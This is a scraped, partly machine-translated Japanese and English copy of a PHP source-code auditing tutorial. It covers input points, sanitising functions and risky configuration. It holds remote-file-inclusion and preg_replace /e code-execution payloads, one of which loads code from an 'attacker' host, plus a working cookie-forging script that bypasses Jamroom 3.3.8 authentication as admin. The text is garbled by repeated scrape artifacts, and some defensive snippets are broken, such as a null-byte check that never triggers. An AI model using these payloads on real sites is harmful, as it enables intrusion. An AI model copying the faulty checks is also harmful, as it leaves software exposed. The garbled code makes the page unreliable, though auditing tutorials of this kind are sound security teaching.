From:http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/
こんにちは。
今日は、次のいくつかについて話すことにしました。ソースコード監査による脆弱性発見手法に関する私の経験です。
覚えていると思いますが、約 1 年前、私は次の記事を書きました:
php ソースコードのファジング (監査) を行う 20 の方法
少し前に「Stefan Esser」 PHPセキュリティに関するポスターを作成しました。 PHP ソースコード監査の経験を活かして、ほとんどの脆弱性について簡単に説明します:
最も多い PHP 脆弱性:
1-クロスサイトスクリプティング (XSS)2-クロスサイトリクエストフォージェリ (CSRF)
3- SQL インジェクション
4-安全でないセッション処理
5-セッション固定
6-情報開示
7-ヘッダーインジェクション
8-安全でない構成
9-弱いランダム性
http://www.abysssec.com/blog/2009/03/php_fuzz_audit/
また、別の記事では [PHP スクリプトの脆弱性の検索完全 (例付き)]:
http://www.milw0rm.com /papers/381
I ? 安全な入力処理:
何が注入されるかを慎重に考慮せずにユーザーからの入力を受け入れます。
サニタイズ関数は潜在的に危険な入力を完全に拒否するのではなく、アプリケーションの制限 (特定のデータ型、最大長など) に従ってユーザー入力を「修復」するために使用されます。サニタイズには特定の種類と組み合わせがあるため、一般にサニタイズ関数の使用は推奨されません。フィルター自体がセキュリティに影響を与える可能性があります。さらに、タイプミスの自動修正により、入力が構文的または意味的に不正確になる可能性があります。
例:
is_numeric() 変数の数値内容をチェックします。 is_array() 変数が配列かどうかをチェックします。 strlen() 文字列の長さを返します。 strip_tags()HTML タグと PHP タグを削除します。
エスケープにはいくつかの異なる種類があります:
?バックスラッシュ接頭辞「」は、文字列内のメタ文字を定義します。例: t はタブ
スペース、n は改行文字、… これは、改行文字が特別な目的を持つ関数にとって特に重要です。ヘッダ()。正規表現内では、バックスラッシュは、 などの特殊文字をエスケープするために使用されます。または *、正規表現を処理するすべての関数に関係します。
? URL エンコードにより、RFC 1738 に従って、URL 内で許可されていないすべての文字
が適切にエンコードされるようになります。例えば。スペースは + または %20 および < に変換されます。 %3Cです。このエスケープは、urlencode() や urldecode() などの URL を処理する関数に関連します。構成:
そうですね、このプロセスで役立つ 4 つのポイントがあることはわかっています:
1 ?私たちの PHP 入力ポイント:
[それらと、それらに割り当てられているすべての関数と変数を見つける必要があります。]PHP.Programing の
input ポイントは:$_SERVER
$_GET
$_POST$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
2- 理解の限界:
とても良いですね、2 番目のポイント: 私たちの問題はここから始まります。以前のようにソースコードに問題を見つけることはできません。プログラマは制限機能を使用するため。たとえば、入力変数を制御する以下の関数が表示される場合、おそらく多くの攻撃が実行されます。したがって、解決策は 2 つあります。コードのロジックで問題を見つけるか、PHP CORE で PHP のバグを見つけるかです。 htmlspecialchars() 、文字 & < をエスケープします。そして> HTML エンティティとしてアプリケーションを XSS から保護します。正しい文字セットとモード : ENT_QUOTES を使用する必要があります。 htmlentities() 、適用可能なすべての文字に HTML エンティティ エンコーディングを適用して、アプリケーションを XSS から保護します。正しい文字セットとモード ENT_QUOTES を使用する必要があります。
123
<?phpecho "Hello " . htmlspecialchars( $_GET['name'], ENT_QUOTES);?>
( htmlentities() bypass in special case [utf7] : http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html )
? urlencode() , Applies URL encoding as seen in the query part of a URL.
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?php$url = "http://www.example.com/" . "index.php?param=" . urlencode($_GET['pa']);?> ログイン後にコピー |
A-2 : (SQL injection dies = 90% The direct transition is a dream) :
? addslashes() , Applies a simple backslash escaping. The input string is assumed to be single-byte encoded. addslashes() should not be used to protect against SQL injections, since most database systems operate with multi-byte encoded strings, such as UTF-8.
? addcslashes() , Applies backslash escaping. This can be used to prepare strings for use in a JavaScript string context. However, protection against HTML tag injection is not possible with this function.
(bypass addslashes() in special case : http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html)
? mysql_real_escape_string(), Escapes a string for use with mysql_query(). The character set of the current MySQL connection is taken into account, so it is safe to operate on multi-byte encoded strings.
Applications implementing string escaping as protection against SQL injection attacks should use this function.
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?php$sql = "SELECT * FROM user WHERE" . " login='" . mysql_real_escape_string( $_GET['login'], $db) . "'";?> ログイン後にコピー |
A-3 : (XSS , SQl Inject = 100% The direct transition is a dream) :
? preg_quote() , Should be used to escape user input to be inserted into regular expressions. This way the regular expression is safeguarded from semantic manipulations.
Fix code :
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?php$repl = preg_replace('/^' . preg_quote($_GET['part'], '/'). '-[0-9]{1,4}/', '', $str);?> ログイン後にコピー |
issue Code [Command Execute] :
1234 ログイン後にコピー ログイン後にコピー | <?php$h = $_GET['h'];echo preg_replace("/test/e",$h,"jutst test");?> ログイン後にコピー |
It works like this: http://site.com/test.php?h=phpinfo()
? escapeshellarg() , Escapes a single argument of a shell command. In order to prevent shell code injection, single quotes in user input is being escaped and the whole string enclosed in single quotes.
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?phpsystem('resize /tmp/image.jpg' . escapeshellarg($_GET['w']).' '. escapeshellarg($_GET['h']));?> ログイン後にコピー |
? escapeshellcmd() , Escapes all meta characters of a shell command in a way that no additional shell commands can be injected. If necessary, arguments should be enclosed in quotes.
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?phpsystem(escapeshellcmd( 'resize /tmp/image.jpg "' . $_GET['w']) . '" "' . $_GET['h']) . '"'));?> ログイン後にコピー |
B- CType Extension :
By default, PHP comes with activated CType extension. Each of the following functions checks if all characters of a string fall under the described group of characters:
? ctype_alnum()alphanumeric characters ? A-Z, a-z, 0-9
? ctype_alpha()alphabetic characters ? A-Z, a-z
? ctype_cntrl() control characters ? e.g. tab, line feed
? ctype_digit()numerical characters ? 0-9
? ctype_graph()characters creating visible output e.g. no whitespace
? ctype_lower()lowercase letters ? a-z
? ctype_print()printable characters
? ctype_punct()punctuation characters ? printable characters, but not digits, letters or whitespace, e.g. .,!?:;*&$
? ctype_space()whitespace characters ? e.g. newline, tab
? ctype_upper()uppercase characters ? A-Z
? ctype_xdigit() hexadecimal digits ? 0-9, a-f, A-F
12345 ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?phpif (!ctype_print($_GET['var'])) {die("User input contains ". "non-printable characters");}?> ログイン後にコピー |
C ? Filter Extension ? ext/filter
Starting with PHP 5.2.0 the filter extension has provided a simple API for input validation and input filtering.
? filter_input()Retrieves the value of any GET, POST, COOKIE, ENV or SERVER variable and applies the specified filter.
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?php$url = filter_input(INPUT_GET, 'url', FILTER_URL);?> ログイン後にコピー |
? filter_var()Filters a variable with the specified filter.
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?php$url = filter_var($var, FILTER_URL);?> ログイン後にコピー |
List of Filters :
Validation Filters
? FILTER_VALIDATE_INTChecks whether the input is an integer numeric value.
? FILTER_VALIDATE_BOOLEANChecks whether the input is a boolean value.
? FILTER_VALIDATE_FLOATChecks whether the input is a floating point number.
? FILTER_VALIDATE_REGEXPChecks the input against a regular expression.
? FILTER_VALIDATE_URLChecks whether the input is a URL.
? FILTER_VALIDATE_EMAILChecks whether the input is a valid email address.
? FILTER_VALIDATE_IPChecks whether the input is a valid IPv4 or IPv6.
Sanitising Filters
? FILTER_SANITIZE_STRING / FILTER_SANITIZE_STRIPPEDStrips and HTML-encodes characters according to flags and applies strip_tags().
? FILTER_SANITIZE_ENCODEDApplies URL encoding.
? FILTER_SANITIZE_SPECIAL_CHARSEncodes ‘ ” < > & \0 and optionally all characters > chr(127) into numeric HTML entities.
? FILTER_SANITIZE_EMAILRemoves all characters not commonly used in an email address.
? FILTER_SANITIZE_URLRemoves all characters not allowed in URLs.
? FILTER_SANITIZE_NUMBER_INTRemoves all characters except digits and + -.
? FILTER_SANITIZE_NUMBER_FLOATRemoves all characters not allowed in floating point numbers.
? FILTER_SANITIZE_MAGIC_QUOTESApplies addslashes().
Other Filters
? FILTER_UNSAFE_RAWIs a dummy filter.
? FILTER_CALLBACKCalls a userspace callback function defining the filter.
D) HTTP Header Output
HTTP headers can be set using the header() function. User input should always be checked before being passed to header(), otherwise a number of security issues become relevant. Newline characters should never be used with header() in order to prevent HTTP header injections. Injected headers can be used for XSS and HTTP response splitting attacks, too. In general, user input should be handled in a context-sensitive manner.
Dynamic content within parameters to Location
or Set-Cookie headers should be escaped by urlencode().
For other HTTP header parameters, unintended context changes must be prevented as well; e.g. a semicolon separates several parameters within Content-Type.
1234 ログイン後にコピー ログイン後にコピー | <?phpif (strpbrk($_GET['type'], ";/\r\n")) die('invalid characters');header("Content-Type: text/" . $_GET['type'] . "; charset=utf-8;");?> ログイン後にコピー |
Applications should not allow arbitrary HTTP Location redirects, since these can be used for phishing attacks. In addition, open redirects can have a negative impact on the cross domain policy infrastructure of Adobe‘s Flash Player.
E)Secure File Handling:
? Detect and replace NULL bytes:
12345 ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?phpif (strpos($_GET["f"], "\0") === true) {$file = str_replace("\0", "", $_GET["f"]);}?> ログイン後にコピー |
? Prevent remote file inclusion (path prefix) and directory traversal (basename):
123 ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?php$file = "./".basename($_GET["f"]). ".php";?> ログイン後にコピー |
? Include only whitelisted files:
12345 ログイン後にコピー ログイン後にコピー ログイン後にコピー | <?phpif (in_array($_GET['action'], array('index', 'logout'))) {include './'.$_GET['action'] . '.php';} else die('action not permitted');?> ログイン後にコピー |
3) Configuration point :
last point . weakness in Programing (Source code) Structure . one of the most celever part in source Code Auditing .
we sea these Fllowing Configuration in code or PHP.ini Setting :
[a]- when Server don’t Disabling Remote URLs for File Handling Functions
File handling functions like fopen, file_get_contents, and include accept URLs as file parameters (for example: fopen(‘http://www.example.com/’, ‘r’)). Even though this enables developers to access remote resources like HTTP URLs, it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server.
[b] Register Globals is ‘ON’ :
Prior to version 4.2.0, PHP used to provide input values as global variables. This feature was named register_globals, and it was responsible for many security issues in web applications because it allowed attackers to freely manipulate global variables in many situations. Fortunately it’s disabled by default from PHP 4.2.0 and on, because it’s dangerous on so many scales.
123456 ログイン後にコピー | <?phpif (ereg("test.php", $PHP_SELF)==true){ include $server_inc."/step_one_tables.php";}?> ログイン後にコピー |
demonstration :
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
[c] Server Don’t Limit Access to Certain File Name Patterns :
Many file extensions should not be accessible by end users. Take for example .inc. Some developers prefer to assign this extension to included scripts. The problem here is that this extension isn’t parsed by the PHP engine, and as a result, anyone can view the source code by requesting the file itself: http://www.example.com/includes/settings.inc
Such files may contain sensitive data like MySQL passwords. So you need to ensure that end users can not access those files. Other candidate extensions are .sql, .mysql, and .pgsql.
Another pattern to look out for is backup files. Some editors create backup versions of edited files in the same directory where the original file is located. For example, if you edit index.php, a backup called index.php~ will be created. Given that this file doesn’t end with .php, it will not be processed by the PHP engine, and its code will also be available to users by requesting http://www.example.com/index.php~
[d] Error Messages and Logging is ON :
By default, PHP prints error messages to the browser’s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames.
.
And many other attacks, usually design by the programmer !
Real Word Example :
Exp 1 : PHP Code Execution:
There is an arbitrary php code execution issuedue to the unsafe use of preg_replace evaluation when parsing anchor tags and the like.
1234567 ログイン後にコピー | <?php// Replace any usernames$ret = preg_replace("#\[:nom:([^\]]*)\]#e", "username(0, trim(\"\\1\"))", $ret); ?> ログイン後にコピー |
php code execution is possible via complex variable evaluation.
[:nom:{${phpinfo()}}]
or this code :
1234567891011 ログイン後にコピー | <?phpif($globals['bbc_email']){ $text = preg_replace(array("/\[email=(.*?)\](.*?)\[\/email\]/ies","/\[email\](.*?)\[\/email\]/ies"),array('check_email("$1", "$2")','check_email("$1", "$1")'), $text); }?> ログイン後にコピー |
abuse :
[email]{${phpinfo()}}[/email]
2- Configuration mistake : Authentication Bypass
There is a serious flaw in the Jamroom (JamRoom <= 3.3.8) authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function
12345678910111213141516 ログイン後にコピー | <?phplist($user,$hash) = unserialize(stripslashes($_val));$user = trim(genc('get',$user));$req = "SELECT user_nickname, user_passwordFROM {$jamroom_db['user']}WHERE user_nickname = '". dbEscapeString($user) ."'LIMIT 1";$_rt = dbQuery($req,'SINGLE');if (strlen($_rt['user_password']) === 0) {return(false);}if (md5($_rt['user_password'] . $sect) == $hash) {print_r($rt);return($_rt);}?> ログイン後にコピー |
The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as boolean values, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required.
123456789101112 ログイン後にコピー | <?php$data = array();$user = 'admin'; // Target $data[0] = base64_encode(serialize($user));$data[1] = (bool)0;echo "\n\n===[ 0 ] ========================\n\n";echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));$data[1] = (bool)1;echo "\n\n===[ 1 ] ========================\n\n";echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));?> ログイン後にコピー
The above script is an example of how it works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the “identical” operator. 3- new bug : regards
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
著者別の最新記事
最新の問題
function_exists() はカスタム関数を決定できません
Function test () {return true;} if (function_exists ('test')) {echo "テストは関数です";
から 2024-04-29 11:01:01
0
3
2432
Google Chromeのモバイル版を表示する方法
こんにちは、先生、Google Chrome をモバイル版に変更するにはどうすればよいですか?
から 2024-04-23 00:22:19
0
11
2562
親ウィンドウには出力がありません
document.onclick = function(){ window.opener.document.write('私は子ウィンドウの出力です');
から 2024-04-18 23:52:34
0
1
2047
関連トピック
詳細>
|